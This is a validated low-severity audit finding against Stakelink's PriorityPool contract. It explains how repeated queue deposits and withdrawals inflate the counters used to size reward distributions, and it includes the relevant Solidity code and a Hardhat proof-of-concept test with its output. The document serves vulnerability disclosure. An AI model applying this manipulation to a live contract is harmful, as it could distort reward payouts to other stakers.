Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: low
Valid

The total amount to be distributed can be manipulated

Summary

The amount of tokens to be distributed at a new batch through function PriorityPool#updateDistribution() can be manipulated, which is the result of manipulating state variable depositsSinceLastUpdate

Vulnerability Details

The function PriorityPool#updateDistribution() is expected to distributes a new batch of liquid staking tokens to users that have queued tokens. The amount to be distributed is expected to be total amount of queued tokens deposited into the staking pool since the last distribution, tracking by state variable depositsSinceLastUpdate.

function updateDistribution(
bytes32 _merkleRoot,
bytes32 _ipfsHash,
uint256 _amountDistributed,
uint256 _sharesAmountDistributed
) external onlyDistributionOracle {
_unpause();
@> depositsSinceLastUpdate -= _amountDistributed;
@> sharesSinceLastUpdate -= _sharesAmountDistributed;
merkleRoot = _merkleRoot;
ipfsHash = _ipfsHash;
merkleTreeSize = accounts.length;
emit UpdateDistribution(
_merkleRoot,
_ipfsHash,
_amountDistributed,
_sharesAmountDistributed
);
}

As confirmation from sponsor here, the distributed amount is calculated off-chain. The calculation of _amountDistributed and _sharesAmountDistributed is dependent on the state variables depositsSinceLastUpdate and sharesSinceLastUpdate.

From the onchain side, these two state variable can be increased when queued tokens are deposited to StakingPool through function PriorityPool#_depositQueuedTokens().

function _depositQueuedTokens(
uint256 _depositMin,
uint256 _depositMax,
bytes[] memory _data
) internal {
if (poolStatus != PoolStatus.OPEN) revert DepositsDisabled();
uint256 strategyDepositRoom = stakingPool.getStrategyDepositRoom();
if (strategyDepositRoom == 0 || strategyDepositRoom < _depositMin)
revert InsufficientDepositRoom();
uint256 _totalQueued = totalQueued;
uint256 unusedDeposits = stakingPool.getUnusedDeposits();
uint256 canDeposit = _totalQueued + unusedDeposits;
if (canDeposit == 0 || canDeposit < _depositMin) revert InsufficientQueuedTokens();
uint256 toDepositFromStakingPool = MathUpgradeable.min(
MathUpgradeable.min(unusedDeposits, strategyDepositRoom),
_depositMax
);
uint256 toDepositFromQueue = MathUpgradeable.min(
MathUpgradeable.min(_totalQueued, strategyDepositRoom - toDepositFromStakingPool),
_depositMax - toDepositFromStakingPool
);
@> stakingPool.deposit(address(this), toDepositFromQueue, _data);
_totalQueued -= toDepositFromQueue;
if (_totalQueued != totalQueued) {
uint256 diff = totalQueued - _totalQueued;
@> depositsSinceLastUpdate += diff;
@> sharesSinceLastUpdate += stakingPool.getSharesByStake(diff);
totalQueued = _totalQueued; // @info totalQueued decreases ?
}
emit DepositTokens(toDepositFromStakingPool, toDepositFromQueue);
}

And these variables can also be increased through function PriorityPool#_withdraw(), which is executed when a staker withdraws underlying assets. Specifically, the variables are increased when the staker withdraws an amount not greater than the current totalQueued amount.

function _withdraw(
address _account,
uint256 _amount,
bool _shouldQueueWithdrawal
) internal returns (uint256) {
if (poolStatus == PoolStatus.CLOSED) revert WithdrawalsDisabled();
uint256 toWithdraw = _amount;
if (totalQueued != 0) {
uint256 toWithdrawFromQueue = toWithdraw <= totalQueued ? toWithdraw : totalQueued;
totalQueued -= toWithdrawFromQueue;
@> depositsSinceLastUpdate += toWithdrawFromQueue;
@> sharesSinceLastUpdate += stakingPool.getSharesByStake(toWithdrawFromQueue);
toWithdraw -= toWithdrawFromQueue;
}
if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
withdrawalPool.queueWithdrawal(_account, toWithdraw);
}
emit Withdraw(_account, _amount - toWithdraw);
return toWithdraw;
}

With the mechanism above, an attacker can manipulate depositsSinceLastUpdate and sharesSinceLastUpdate by repeatedly deposit to queue and withdraw from queue

PoC

Add the test below to the test file priority-pool.test.ts:

it.only('withdraw should work correctly', async () => {
// @audit PoC Manipulate depositsSinceLastUpdate
const { signers, accounts, adrs, pp, token, stakingPool, strategy } = await loadFixture(
deployFixture
)
await stakingPool.connect(signers[1]).approve(adrs.pp, ethers.MaxUint256)
await stakingPool.connect(signers[2]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[1]).deposit(toEther(2000), true, ['0x'])
await token.transfer(adrs.strategy, toEther(1000))
await stakingPool.updateStrategyRewards([0], '0x')
await pp.deposit(toEther(100), true, ['0x'])
await pp.connect(signers[2]).deposit(toEther(100), true, ['0x'])
await strategy.setMaxDeposits(toEther(2000))
console.log(`last deposits ${await pp.depositsSinceLastUpdate()}`)
console.log(`total queued ${await pp.totalQueued()}`)
for(let i = 0 ; i < 13; ++i){
await pp.connect(signers[1]).withdraw(toEther(100), 0, 0, [], false, false)
await pp.connect(signers[1]).deposit(toEther(100), true, ['0x'])
}
console.log(`last deposits ${await pp.depositsSinceLastUpdate()}`)
console.log(`total queued ${await pp.totalQueued()}`)
})

Run the test and the console shows:

last deposits 0
total queued 1200000000000000001000
last deposits 1300000000000000000000
total queued 1200000000000000001000

The result means that the depositsSinceLastUpdate is manipulated by repeatedly deposit and withdraw

Impact

  • The tracked amounts depositsSinceLastUpdate and sharesSinceLastUpdate are not precise

  • The distributed amount can be manipulated, depends on off-chain system logic. If the off-chain system is tricked by the manipulation, then the funds to be distributed could be much larger than expected

Tools Used

Manual

Recommendations

Update the mechanism to increase/decrease these two variables

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`depositsSinceLastUpdate` and `sharesSinceLastUpdate` can be manipulated by repeated deposit and withdrawal

Appeal created

trtrth Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`depositsSinceLastUpdate` and `sharesSinceLastUpdate` can be manipulated by repeated deposit and withdrawal

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.